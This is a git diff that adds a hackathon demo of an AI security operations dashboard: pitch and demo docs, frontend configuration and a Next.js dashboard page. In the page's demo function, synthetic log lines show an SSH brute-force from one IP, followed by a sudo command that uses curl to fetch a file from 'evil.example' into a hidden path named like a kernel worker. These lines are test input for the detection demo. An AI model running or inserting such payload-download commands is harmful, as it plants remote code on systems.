— same detections and AI report, cinematic replay.”* + +7. **Remediation** + Scroll AI panel for **Recommended actions** (or call `POST /remediation` with `incident_id` if you show API). + Say: *“Playbooks block IOCs, rotate creds, harden IAM.”* + +8. **AMD story** + Point at **Powered by AMD ROCm** panel (GPU %, latency, concurrent agents are demo-swayed metrics). + Say: *“Open weights, on-prem, parallel agents — ROCm is our inference path for SOC-scale throughput.”* + +## Optional soak test (10–15 minutes) + +- Leave `continuous_demo.py` running; confirm API stays up, WebSocket shows heartbeats, UI stays responsive. +- If the LLM is down, narratives still read well — **cinematic fallback** is always on. + +## Backup + +- If live demo fails: use your **screen recording** (see `docs/RECORDING_CHECKLIST.md`). diff --git a/docs/PITCH.md b/docs/PITCH.md new file mode 100644 index 0000000000000000000000000000000000000000..98f7e25d275e23cbf46e082233164b9f089c0361 --- /dev/null +++ b/docs/PITCH.md @@ -0,0 +1,28 @@ +# SentinelAI — One-line positioning + +**Do not say:** “AI cybersecurity dashboard.” + +**Do say:** + +> SentinelAI is an **autonomous multi-agent AI Security Operations Center** that continuously monitors infrastructure, correlates attacks, performs **AI-driven investigations**, and generates **remediation workflows** using **AMD-accelerated open-source AI** infrastructure. + +## 30-second version + +- **Autonomous collectors** tail auth and demo logs (extend to Docker/K8s/cloud). +- **Detection** — brute-force, privilege abuse, malicious-source hits. +- **Correlation** — timelines and graphs, not isolated alerts. +- **AI analyst** — enterprise narratives, severity reasoning, action list (Ollama / vLLM / ROCm). +- **Command deck** — live feed, replay, ROCm panel, agent activity. + +## Why judges care + +| Angle | Hook | +|--------|------| +| **Autonomy** | Runs without chat prompts; event pipeline drives agents. | +| **Multi-agent** | Collectors, detection, correlation, analyst, remediation, alerts. | +| **Data residency** | Local open models — no mandatory third-party LLM API. | +| **AMD** | ROCm = throughput for concurrent SOC reasoning at hackathon cost. | + +## Closing + +“We’re not a chatbot bolted onto logs — we’re a **mini-SOC runtime** you can demo in minutes and extend to real auth.log and TI feeds.” diff --git a/docs/RECORDING_CHECKLIST.md b/docs/RECORDING_CHECKLIST.md new file mode 100644 index 0000000000000000000000000000000000000000..2cc2833e5988f2de437ee7db2a5082ee042b0aa5 --- /dev/null +++ b/docs/RECORDING_CHECKLIST.md @@ -0,0 +1,26 @@ +# Backup demo video — recording checklist + +Record **even if** the live pitch will be live. Judges forgive a short clip if Wi‑Fi dies. + +## Capture (3–5 minutes total) + +- [ ] Terminal: `uvicorn` + `continuous_demo.py` visible or mentioned. +- [ ] Browser: **Live Threat Feed** scrolling with detections. +- [ ] **Attack Timeline** with at least one incident. +- [ ] **AI Investigation** filled (narrative + recommended actions). +- [ ] Click **Replay last chain** — show replay badges on rows. +- [ ] Pan to **Powered by AMD ROCm** panel. +- [ ] Optional: quick flash of `POST /ingest-logs` or OpenAPI `/docs`. + +## Technical tips + +- **Resolution:** 1920×1080, 30fps minimum. +- **Audio:** short voiceover OR captions (OBS / QuickTime + captions in post). +- **No secrets:** blur `.env`, webhooks, API keys if shown. +- **File name:** `SentinelAI-demo-backup-YYYY-MM-DD.mp4` + +## Where to use it + +- Submission “demo video” field +- Slide deck embed +- Social / portfolio clip diff --git a/frontend/.gitignore b/frontend/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..5ef6a520780202a1d6addd833d800ccb1ecac0bb --- /dev/null +++ b/frontend/.gitignore @@ -0,0 +1,41 @@ +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules +/.pnp +.pnp.* +.yarn/* +!.yarn/patches +!.yarn/plugins +!.yarn/releases +!.yarn/versions + +# testing +/coverage + +# next.js +/.next/ +/out/ + +# production +/build + +# misc +.DS_Store +*.pem + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* +.pnpm-debug.log* + +# env files (can opt-in for committing if needed) +.env* + +# vercel +.vercel + +# typescript +*.tsbuildinfo +next-env.d.ts diff --git a/frontend/.nvmrc b/frontend/.nvmrc new file mode 100644 index 0000000000000000000000000000000000000000..2bd5a0a98a36cc08ada88b804d3be047e6aa5b8a --- /dev/null +++ b/frontend/.nvmrc @@ -0,0 +1 @@ +22 diff --git a/frontend/README.md b/frontend/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e215bc4ccf138bbc38ad58ad57e92135484b3c0f --- /dev/null +++ b/frontend/README.md @@ -0,0 +1,36 @@ +This is a [Next.js](https://nextjs.org) project bootstrapped with [`create-next-app`](https://nextjs.org/docs/app/api-reference/cli/create-next-app). + +## Getting Started + +First, run the development server: + +```bash +npm run dev +# or +yarn dev +# or +pnpm dev +# or +bun dev +``` + +Open [http://localhost:3000](http://localhost:3000) with your browser to see the result. + +You can start editing the page by modifying `app/page.tsx`. The page auto-updates as you edit the file. + +This project uses [`next/font`](https://nextjs.org/docs/app/building-your-application/optimizing/fonts) to automatically optimize and load [Geist](https://vercel.com/font), a new font family for Vercel. + +## Learn More + +To learn more about Next.js, take a look at the following resources: + +- [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API. +- [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial. + +You can check out [the Next.js GitHub repository](https://github.com/vercel/next.js) - your feedback and contributions are welcome! + +## Deploy on Vercel + +The easiest way to deploy your Next.js app is to use the [Vercel Platform](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme) from the creators of Next.js. + +Check out our [Next.js deployment documentation](https://nextjs.org/docs/app/building-your-application/deploying) for more details. diff --git a/frontend/components.json b/frontend/components.json new file mode 100644 index 0000000000000000000000000000000000000000..8d886db5756307e013bc8ae97c05220fb7b6ab7a --- /dev/null +++ b/frontend/components.json @@ -0,0 +1,25 @@ +{ + "$schema": "https://ui.shadcn.com/schema.json", + "style": "base-nova", + "rsc": true, + "tsx": true, + "tailwind": { + "config": "", + "css": "src/app/globals.css", + "baseColor": "neutral", + "cssVariables": true, + "prefix": "" + }, + "iconLibrary": "lucide", + "rtl": false, + "aliases": { + "components": "@/components", + "utils": "@/lib/utils", + "ui": "@/components/ui", + "lib": "@/lib", + "hooks": "@/hooks" + }, + "menuColor": "default", + "menuAccent": "subtle", + "registries": {} +} diff --git a/frontend/eslint.config.mjs b/frontend/eslint.config.mjs new file mode 100644 index 0000000000000000000000000000000000000000..719cea2b59f3222f4830a756100e1f756b8a18af --- /dev/null +++ b/frontend/eslint.config.mjs @@ -0,0 +1,25 @@ +import { dirname } from "path"; +import { fileURLToPath } from "url"; +import { FlatCompat } from "@eslint/eslintrc"; + +const __filename = fileURLToPath(import.meta.url); +const __dirname = dirname(__filename); + +const compat = new FlatCompat({ + baseDirectory: __dirname, +}); + +const eslintConfig = [ + ...compat.extends("next/core-web-vitals", "next/typescript"), + { + ignores: [ + "node_modules/**", + ".next/**", + "out/**", + "build/**", + "next-env.d.ts", + ], + }, +]; + +export default eslintConfig; diff --git a/frontend/next.config.ts b/frontend/next.config.ts new file mode 100644 index 0000000000000000000000000000000000000000..555a265c5e61780d68285a0de8cb2c0b0e43c805 --- /dev/null +++ b/frontend/next.config.ts @@ -0,0 +1,13 @@ +import type { NextConfig } from "next"; +import path from "path"; + +const nextConfig: NextConfig = { + // Keeps output file tracing anchored to this app when multiple lockfiles exist on the machine. + outputFileTracingRoot: path.join(process.cwd()), + // ESLint 9 + eslint-config-next can throw "Components.detect is not a function" for react plugin; run `npm run lint` locally. + eslint: { + ignoreDuringBuilds: true, + }, +}; + +export default nextConfig; diff --git a/frontend/package-lock.json b/frontend/package-lock.json new file mode 100644 index 0000000000000000000000000000000000000000..8fb9d66eea8bc4f5b645cd69eb2f54693ef39799 --- /dev/null +++ b/frontend/package-lock.json @@ -0,0 +1,10289 @@ +{ + "name": "frontend", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "frontend", + "version": "0.1.0", + "dependencies": { + "@base-ui/react": "^1.4.1", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "framer-motion": "^12.38.0", + "lucide-react": "^1.14.0", + "next": "15.5.18", + "react": "19.1.0", + "react-dom": "19.1.0", + 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"tw-animate-css": "^1.4.0" + }, + "devDependencies": { + "@eslint/eslintrc": "^3", + "@tailwindcss/postcss": "^4", + "@types/node": "^20", + "@types/react": "^19", + "@types/react-dom": "^19", + "eslint": "^9", + "eslint-config-next": "15.5.18", + "tailwindcss": "^4", + "typescript": "^5" + } +} diff --git a/frontend/postcss.config.mjs b/frontend/postcss.config.mjs new file mode 100644 index 0000000000000000000000000000000000000000..c7bcb4b1ee14cd5e25078c2c934529afdd2a7df9 --- /dev/null +++ b/frontend/postcss.config.mjs @@ -0,0 +1,5 @@ +const config = { + plugins: ["@tailwindcss/postcss"], +}; + +export default config; diff --git a/frontend/public/file.svg b/frontend/public/file.svg new file mode 100644 index 0000000000000000000000000000000000000000..004145cddf3f9db91b57b9cb596683c8eb420862 --- /dev/null +++ b/frontend/public/file.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/frontend/public/globe.svg b/frontend/public/globe.svg new file mode 100644 index 0000000000000000000000000000000000000000..567f17b0d7c7fb662c16d4357dd74830caf2dccb --- /dev/null +++ b/frontend/public/globe.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/frontend/public/next.svg b/frontend/public/next.svg new file mode 100644 index 0000000000000000000000000000000000000000..5174b28c565c285e3e312ec5178be64fbeca8398 --- /dev/null +++ b/frontend/public/next.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/frontend/public/vercel.svg b/frontend/public/vercel.svg new file mode 100644 index 0000000000000000000000000000000000000000..77053960334e2e34dc584dea8019925c3b4ccca9 --- /dev/null +++ b/frontend/public/vercel.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/frontend/public/window.svg b/frontend/public/window.svg new file mode 100644 index 0000000000000000000000000000000000000000..b2b2a44f6ebc70c450043c05a002e7a93ba5d651 --- /dev/null +++ b/frontend/public/window.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/frontend/run-dev.sh b/frontend/run-dev.sh new file mode 100755 index 0000000000000000000000000000000000000000..c29708cf93f2c08df39b87138d77d41252fc96cf --- /dev/null +++ b/frontend/run-dev.sh @@ -0,0 +1,13 @@ +#!/usr/bin/env bash +# Next.js 15 + Node 24 breaks semver in `next dev`. Use Homebrew Node 22 for this project. +set -euo pipefail +cd "$(dirname "$0")" +for prefix in /opt/homebrew/opt/node@22 /usr/local/opt/node@22; do + if [[ -x "$prefix/bin/node" ]]; then + export PATH="$prefix/bin:$PATH" + break + fi +done +echo "Node: $(command -v node) ($(node -v))" +export NEXT_PUBLIC_API_URL="${NEXT_PUBLIC_API_URL:-http://127.0.0.1:8000}" +exec npm run dev diff --git a/frontend/src/app/favicon.ico b/frontend/src/app/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..718d6fea4835ec2d246af9800eddb7ffb276240c Binary files /dev/null and b/frontend/src/app/favicon.ico differ diff --git a/frontend/src/app/globals.css b/frontend/src/app/globals.css new file mode 100644 index 0000000000000000000000000000000000000000..eb0ab4f7b9d5ac643d57e111a2bcd55ee0a43a47 --- /dev/null +++ b/frontend/src/app/globals.css @@ -0,0 +1,182 @@ +@import "tailwindcss"; +@import "tw-animate-css"; +@import "shadcn/tailwind.css"; + +@custom-variant dark (&:is(.dark *)); + +@theme inline { + --color-background: var(--background); + --color-foreground: var(--foreground); + --font-sans: var(--font-sans); + --font-mono: var(--font-geist-mono); + --font-heading: var(--font-sans); + --color-sidebar-ring: var(--sidebar-ring); + --color-sidebar-border: var(--sidebar-border); + --color-sidebar-accent-foreground: var(--sidebar-accent-foreground); + --color-sidebar-accent: var(--sidebar-accent); + --color-sidebar-primary-foreground: var(--sidebar-primary-foreground); + --color-sidebar-primary: var(--sidebar-primary); + --color-sidebar-foreground: var(--sidebar-foreground); + --color-sidebar: var(--sidebar); + --color-chart-5: var(--chart-5); + --color-chart-4: var(--chart-4); + --color-chart-3: var(--chart-3); + --color-chart-2: var(--chart-2); + --color-chart-1: var(--chart-1); + --color-ring: var(--ring); + --color-input: var(--input); + --color-border: var(--border); + --color-destructive: var(--destructive); + --color-accent-foreground: var(--accent-foreground); + --color-accent: var(--accent); + --color-muted-foreground: var(--muted-foreground); + --color-muted: var(--muted); + --color-secondary-foreground: var(--secondary-foreground); + --color-secondary: var(--secondary); + --color-primary-foreground: var(--primary-foreground); + --color-primary: var(--primary); + --color-popover-foreground: var(--popover-foreground); + --color-popover: var(--popover); + --color-card-foreground: var(--card-foreground); + --color-card: var(--card); + --radius-sm: calc(var(--radius) * 0.6); + --radius-md: calc(var(--radius) * 0.8); + --radius-lg: var(--radius); + --radius-xl: calc(var(--radius) * 1.4); + --radius-2xl: calc(var(--radius) * 1.8); + --radius-3xl: calc(var(--radius) * 2.2); + --radius-4xl: calc(var(--radius) * 2.6); +} + +:root { + --background: oklch(0.12 0.02 250); + --foreground: oklch(0.96 0.02 200); + --card: oklch(0.16 0.03 250); + --card-foreground: oklch(0.96 0.02 200); + --popover: oklch(0.16 0.03 250); + --popover-foreground: oklch(0.96 0.02 200); + --primary: oklch(0.78 0.16 195); + --primary-foreground: oklch(0.12 0.02 250); + --secondary: oklch(0.22 0.04 260); + --secondary-foreground: oklch(0.95 0.02 200); + --muted: oklch(0.22 0.03 260); + --muted-foreground: oklch(0.72 0.03 220); + --accent: oklch(0.72 0.18 150); + --accent-foreground: oklch(0.12 0.02 250); + --destructive: oklch(0.62 0.24 25); + --border: oklch(0.35 0.06 250 / 0.35); + --input: oklch(0.35 0.06 250 / 0.45); + --ring: oklch(0.78 0.16 195); + --chart-1: oklch(0.72 0.18 195); + --chart-2: oklch(0.68 0.2 150); + --chart-3: oklch(0.7 0.22 310); + --chart-4: oklch(0.75 0.12 95); + --chart-5: oklch(0.6 0.18 25); + --radius: 0.75rem; + --sidebar: oklch(0.14 0.03 250); + --sidebar-foreground: oklch(0.96 0.02 200); + --sidebar-primary: oklch(0.78 0.16 195); + --sidebar-primary-foreground: oklch(0.12 0.02 250); + --sidebar-accent: oklch(0.22 0.04 260); + --sidebar-accent-foreground: oklch(0.96 0.02 200); + --sidebar-border: oklch(0.35 0.06 250 / 0.35); + --sidebar-ring: oklch(0.78 0.16 195); +} + +.dark { + color-scheme: dark; +} + +@layer base { + * { + @apply border-border outline-ring/50; + } + body { + @apply bg-background text-foreground antialiased; + background-image: + radial-gradient(ellipse 120% 80% at 50% -20%, oklch(0.35 0.12 250 / 0.35), transparent), + radial-gradient(ellipse 80% 50% at 100% 0%, oklch(0.4 0.14 195 / 0.2), transparent), + linear-gradient(180deg, oklch(0.1 0.02 250) 0%, oklch(0.08 0.02 260) 100%); + min-height: 100vh; + } + html { + @apply font-sans; + } +} + +.glass-panel { + @apply rounded-2xl border border-primary/20 bg-card/40 backdrop-blur-xl shadow-[0_0_40px_-12px_oklch(0.7_0.15_195_/_0.45)]; +} + +.scanline::after { + content: ""; + pointer-events: none; + position: absolute; + inset: 0; + background: linear-gradient( + transparent 0%, + oklch(0.85 0.12 195 / 0.04) 50%, + transparent 100% + ); + background-size: 100% 8px; + animation: scan 6s linear infinite; + opacity: 0.35; +} + +@keyframes scan { + from { + background-position: 0 0; + } + to { + background-position: 0 100%; + } +} + +@keyframes pulse-glow { + 0%, + 100% { + box-shadow: 0 0 12px oklch(0.72 0.14 195 / 0.25); + } + 50% { + box-shadow: 0 0 28px oklch(0.75 0.16 195 / 0.55); + } +} + +@keyframes severity-pulse { + 0%, + 100% { + opacity: 1; + } + 50% { + opacity: 0.65; + } +} + +@keyframes terminal-blink { + 0%, + 100% { + opacity: 1; + } + 50% { + opacity: 0; + } +} + +.glow-panel { + animation: pulse-glow 3.5s ease-in-out infinite; +} + +.severity-pulse-critical { + animation: severity-pulse 1.2s ease-in-out infinite; +} + +.threat-row-hot { + box-shadow: inset 0 0 0 1px oklch(0.65 0.2 25 / 0.35); +} + +.cyber-cursor::after { + content: "▍"; + margin-left: 2px; + animation: terminal-blink 1s step-end infinite; + color: oklch(0.78 0.14 195); +} diff --git a/frontend/src/app/layout.tsx b/frontend/src/app/layout.tsx new file mode 100644 index 0000000000000000000000000000000000000000..02f54dc815b6bc7383f43ef57f59305f6ba40f8c --- /dev/null +++ b/frontend/src/app/layout.tsx @@ -0,0 +1,33 @@ +import type { Metadata } from "next"; +import { Geist, Geist_Mono } from "next/font/google"; +import "./globals.css"; + +const geistSans = Geist({ + variable: "--font-geist-sans", + subsets: ["latin"], +}); + +const geistMono = Geist_Mono({ + variable: "--font-geist-mono", + subsets: ["latin"], +}); + +export const metadata: Metadata = { + title: "SentinelAI — Autonomous AI SOC", + description: + "Multi-agent security operations center with live threat correlation, AMD ROCm-ready inference, and enterprise-grade response orchestration.", +}; + +export default function RootLayout({ + children, +}: Readonly<{ + children: React.ReactNode; +}>) { + return ( + + + {children} + + + ); +} diff --git a/frontend/src/app/page.tsx b/frontend/src/app/page.tsx new file mode 100644 index 0000000000000000000000000000000000000000..abc28d6368ab68bb7ab33d1a0c80a74814dab7ef --- /dev/null +++ b/frontend/src/app/page.tsx @@ -0,0 +1,717 @@ +"use client"; + +import { motion, AnimatePresence } from "framer-motion"; +import { useCallback, useEffect, useMemo, useRef, useState } from "react"; +import { Activity, Cpu, Globe2, Radar, RotateCw, Shield, Sparkles, Terminal } from "lucide-react"; +import { Badge } from "@/components/ui/badge"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import { ScrollArea } from "@/components/ui/scroll-area"; +import { Separator } from "@/components/ui/separator"; +import { Progress } from "@/components/ui/progress"; +import { Button } from "@/components/ui/button"; +import { cn } from "@/lib/utils"; + +type FeedItem = { + type?: string; + severity?: string; + message?: string; + source_ip?: string; + event_type?: string; + ts?: string; + technique?: string; + confidence?: number; + description?: string; + title?: string; + summary?: string; + executive?: string; + technical?: string; + agent?: string; + status?: string; + detail?: string; + replay?: boolean; + replay_index?: number; + replay_total?: number; + phase?: string; + investigation_notes?: string; + recommended_actions?: string[]; +}; + +type Metrics = { + threats_detected: number; + active_incidents: number; + blocked_attacks: number; + events_per_minute: number; + top_countries: { country: string; count: number }[]; + risk_trend: { t: number; risk: number }[]; + remediation_success_rate: number; + attack_frequency: { minute: number; count: number }[]; +}; + +const defaultMetrics: Metrics = { + threats_detected: 0, + active_incidents: 0, + blocked_attacks: 0, + events_per_minute: 0, + top_countries: [], + risk_trend: [], + remediation_success_rate: 0.94, + attack_frequency: [], +}; + +/** Single canonical host so SSR and the browser match (avoids localhost vs 127.0.0.1 hydration errors). */ +function normalizeApiOrigin(raw: string): string { + try { + const u = new URL(raw); + if (u.hostname === "localhost") { + u.hostname = "127.0.0.1"; + } + return u.origin; + } catch { + return raw; + } +} + +function apiBase() { + const raw = process.env.NEXT_PUBLIC_API_URL ?? "http://127.0.0.1:8000"; + return normalizeApiOrigin(raw); +} + +function wsUrl() { + const base = apiBase(); + return base.replace(/^http/, "ws") + "/live-events"; +} + +type RocmPanel = { + brand?: string; + tagline?: string; + gpu_utilization_simulated_pct?: number; + inference_latency_ms_simulated?: number; + concurrent_agent_tasks?: number; + model_serving?: string; + open_models?: string; + throughput_note?: string; +}; + +function formatAiReport(msg: FeedItem): string { + const actions = Array.isArray(msg.recommended_actions) ? msg.recommended_actions : []; + const parts = [ + msg.executive ?? "", + msg.technical ? `\n\n— Attack progression —\n${msg.technical}` : "", + msg.investigation_notes ? `\n\n— Severity rationale —\n${msg.investigation_notes}` : "", + ]; + let out = parts.join("").trim(); + if (actions.length) { + out += `\n\n— Recommended actions —\n${actions.map((a) => `• ${a}`).join("\n")}`; + } + return out; +} + +function severityColor(s?: string) { + switch ((s ?? "").toLowerCase()) { + case "critical": + return "text-red-400 border-red-500/40 bg-red-500/10"; + case "high": + return "text-orange-300 border-orange-500/40 bg-orange-500/10"; + case "medium": + return "text-amber-200 border-amber-500/35 bg-amber-500/10"; + case "low": + return "text-sky-300 border-sky-500/35 bg-sky-500/10"; + default: + return "text-muted-foreground border-border bg-muted/30"; + } +} + +export default function Home() { + const [metrics, setMetrics] = useState(defaultMetrics); + const [feed, setFeed] = useState([]); + const [agents, setAgents] = useState([]); + const [aiPanel, setAiPanel] = useState( + "Awaiting high-fidelity incident graph. Autonomous agents are parsing collectors, enriching threat intel, and scoring blast radius.", + ); + const [timeline, setTimeline] = useState([]); + const [replayActive, setReplayActive] = useState(false); + const [reasoningTrace, setReasoningTrace] = useState([]); + const [rocm, setRocm] = useState(null); + const wsRef = useRef(null); + + const aiThinking = useMemo( + () => agents.some((a) => (a.detail ?? "").toLowerCase().includes("llm") || (a.agent ?? "") === "ai_analyst"), + [agents], + ); + + const refreshMetrics = useCallback(async () => { + try { + const r = await fetch(`${apiBase()}/dashboard-metrics`); + if (!r.ok) return; + const data = await r.json(); + setMetrics({ ...defaultMetrics, ...data }); + } catch { + /* offline */ + } + }, []); + + const refreshAgents = useCallback(async () => { + try { + const r = await fetch(`${apiBase()}/agent-activity`); + if (!r.ok) return; + const data = await r.json(); + setAgents(data.items ?? []); + } catch { + /* offline */ + } + }, []); + + useEffect(() => { + refreshMetrics(); + const id = setInterval(refreshMetrics, 5000); + return () => clearInterval(id); + }, [refreshMetrics]); + + useEffect(() => { + refreshAgents(); + const id = setInterval(refreshAgents, 4000); + return () => clearInterval(id); + }, [refreshAgents]); + + useEffect(() => { + const loadRocm = async () => { + try { + const r = await fetch(`${apiBase()}/rocm-panel`); + if (!r.ok) return; + setRocm(await r.json()); + } catch { + /* offline */ + } + }; + loadRocm(); + const id = setInterval(loadRocm, 4000); + return () => clearInterval(id); + }, []); + + useEffect(() => { + const url = wsUrl(); + const ws = new WebSocket(url); + wsRef.current = ws; + ws.onmessage = (ev) => { + try { + const msg = JSON.parse(ev.data as string) as Record; + if (msg.type === "replay") { + const phase = msg.phase as string | undefined; + if (phase === "begin") { + setReplayActive(true); + setAiPanel("Replaying buffered attack chain for the jury…"); + } + if (phase === "frame" && msg.data && typeof msg.data === "object") { + const inner = msg.data as FeedItem; + setFeed((prev) => + [ + { + ...inner, + replay: true, + replay_index: msg.index as number | undefined, + replay_total: msg.total as number | undefined, + }, + ...prev, + ].slice(0, 200), + ); + if (inner.type === "detection" && inner.description) { + setReasoningTrace((t) => [inner.description!, ...t].slice(0, 12)); + } + if (inner.type === "incident") { + setTimeline((prev) => [inner, ...prev].slice(0, 40)); + setAiPanel(inner.summary ?? String(inner.title ?? "Replayed incident")); + } + if (inner.type === "ai_report") { + setAiPanel(formatAiReport(inner)); + } + } + if (phase === "end") { + setReplayActive(false); + setReasoningTrace((t) => ["[Replay complete]", ...t].slice(0, 12)); + } + if (phase === "empty") { + setAiPanel(String(msg.message ?? "Replay buffer empty — run a simulation first.")); + } + return; + } + + const row = msg as FeedItem; + setFeed((prev) => [row, ...prev].slice(0, 200)); + if (row.type === "detection" && row.description) { + setReasoningTrace((t) => [row.description!, ...t].slice(0, 12)); + } + if (row.type === "incident") { + setTimeline((prev) => [row, ...prev].slice(0, 40)); + setAiPanel( + row.summary ?? + "Incident correlation engine fused multi-stage telemetry into a single attack narrative.", + ); + } + if (row.type === "ai_report") { + setAiPanel(formatAiReport(row)); + } + } catch { + /* ignore */ + } + }; + ws.onerror = () => { + setFeed((p) => [ + { type: "system", severity: "medium", message: `WebSocket degraded — API at ${apiBase()}` }, + ...p, + ]); + }; + return () => ws.close(); + }, []); + + const severityCounts = useMemo(() => { + const c = { critical: 0, high: 0, medium: 0, low: 0 }; + for (const row of feed) { + const s = (row.severity ?? "").toLowerCase(); + if (s in c) (c as Record)[s] += 1; + } + return c; + }, [feed]); + + const maxCountry = Math.max(1, ...metrics.top_countries.map((x) => x.count)); + + const startReplay = async () => { + try { + await fetch(`${apiBase()}/replay/start`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ delay_ms: 420 }), + }); + } catch { + /* offline */ + } + }; + + const runDemoBurst = async () => { + const lines = [ + 'Jan 10 12:00:01 edge-01 sshd[9001]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', + 'Jan 10 12:00:03 edge-01 sshd[9002]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', + 'Jan 10 12:00:05 edge-01 sshd[9003]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', + 'Jan 10 12:00:07 edge-01 sshd[9004]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', + 'Jan 10 12:00:09 edge-01 sshd[9005]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', + 'Jan 10 12:00:15 edge-01 sshd[9006]: Accepted publickey for ubuntu from 45.33.32.156 port 22 ssh2', + 'Jan 10 12:00:40 edge-01 sudo: ubuntu : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/curl -fsSL http://evil.example/p -o /tmp/.kworker', + ]; + for (const raw_line of lines) { + await fetch(`${apiBase()}/ingest-logs`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ source: "demo", raw_line, metadata: { host: "edge-01" } }), + }); + await new Promise((r) => setTimeout(r, 120)); + } + }; + + return ( +
+
+
+
+ +
+ +
+
+

Autonomous SOC

+

+ SentinelAI +

+
+ +

+ Multi-agent collectors, LangGraph orchestration, PostgreSQL evidence store, Redis fan-out, and{" "} + AMD ROCm-ready open models for on-prem inference at SOC scale. +

+
+
+ + ROCm inference path + + + Llama 3 · Qwen · Mistral · DeepSeek + + {"MITRE ATT&CK mapping"} +
+
+ +
+ +
+
+ + Live Threat Feed +
+
+ + +
+
+ +
+ + {feed.length === 0 && ( + + Listening on {wsUrl()} — start the API or + trigger the demo script. + + )} + {feed.map((row, i) => ( + +
+ {row.replay && ( + + replay {row.replay_index != null ? `${row.replay_index + 1}/${row.replay_total}` : ""} + + )} + + {row.type ?? "event"} + + {row.event_type ?? row.technique} +
+

+ {row.message ?? row.description ?? row.summary ?? JSON.stringify(row)} +

+ {row.source_ip} + + ))} + +
+ + + + +
Threat Severity
+
+ {( + [ + ["Critical", severityCounts.critical], + ["High", severityCounts.high], + ["Medium", severityCounts.medium], + ["Low", severityCounts.low], + ] as const + ).map(([label, val]) => ( + 0 && "severity-pulse-critical border-red-500/30 shadow-[0_0_16px_rgba(239,68,68,0.15)]", + label === "High" && val > 0 && "border-orange-500/25 shadow-[0_0_12px_rgba(249,115,22,0.12)]", + )} + > + + {label} + + {val} + + ))} +
+ +
+
+ Risk posture + {metrics.remediation_success_rate * 100}% remediation success +
+ +
+ + + +
+ + World Threat Map +
+
+
+
+
+ {metrics.top_countries.length === 0 ? ( +

+ Geo enrichment fills as public IPs arrive (AbuseIPDB / OTX / VT optional). +

+ ) : ( + metrics.top_countries.map((c) => ( + +

{c.country}

+
+
+
+

{c.count} events

+ + )) + )} +
+
+
+ + + +
Incident Analytics
+
+ + + +
+
+

Attack frequency (rolling)

+
+ {(metrics.attack_frequency.length ? metrics.attack_frequency : [{ minute: 0, count: 1 }]).map( + (b, idx) => { + const h = Math.max(8, (b.count / 10) * 80); + return ( +
+ ); + }, + )} +
+
+ + + +
+ + Agent Activity +
+ +
+ {agents.slice(0, 40).map((a, i) => ( +
+
+ {a.agent} + {a.status} +
+

{a.detail}

+
+ ))} +
+ + + + +
+
+ + AI Investigation +
+ {aiThinking && ( + + Model inferencing… + + )} +
+
+
+

Reasoning trace

+ +
    + {reasoningTrace.length === 0 &&
  • Awaiting detection hypotheses…
    • } + {reasoningTrace.map((line, i) => ( + + {line} + + ))} +
+ +
+ +

{aiPanel}

+ +
+ + + +
+ + Attack Timeline +
+ +
+ {timeline.length === 0 && ( +

Correlated incidents render here with fused edges.

+ )} + {timeline.map((inc, idx) => ( + +
+

{inc.title}

+

{inc.summary}

+ + ))} +
+ + + + +
+ + stream://sentinel/terminal + + tail -f /var/log/auth.log · docker · k8s · cloudtrail +
+
+ {feed.slice(0, 12).map((row, i) => ( +
+ [{row.ts ?? "live"}]{" "} + {row.type} {row.message ?? row.description} +
+ ))} +
+ +
+ + +
+
+ +
+

Powered by AMD ROCm

+

{rocm?.tagline ?? "Accelerated open-source inference for parallel SOC agents"}

+
+
+ + {rocm?.open_models ?? "Llama 3 · Qwen 2.5 · Mistral"} + +
+
+
+

GPU utilization (sim)

+

{rocm?.gpu_utilization_simulated_pct ?? "—"}%

+
+
+

Inference latency (sim)

+

+ {rocm?.inference_latency_ms_simulated != null ? `${rocm.inference_latency_ms_simulated} ms` : "—"} +

+
+
+

Concurrent agent tasks

+

{rocm?.concurrent_agent_tasks ?? "—"}

+
+
+

Model serving

+

{rocm?.model_serving ?? "llama3"}

+

{rocm?.throughput_note}

+
+
+ + +
+ Local inference · parallel agents · Redis fan-out · PostgreSQL evidence · optional Chroma vector memory +
+
+ ); +} + +function MetricTile({ label, value, hint }: { label: string; value: number; hint: string }) { + return ( +
+

{label}

+

{value}

+

{hint}

+
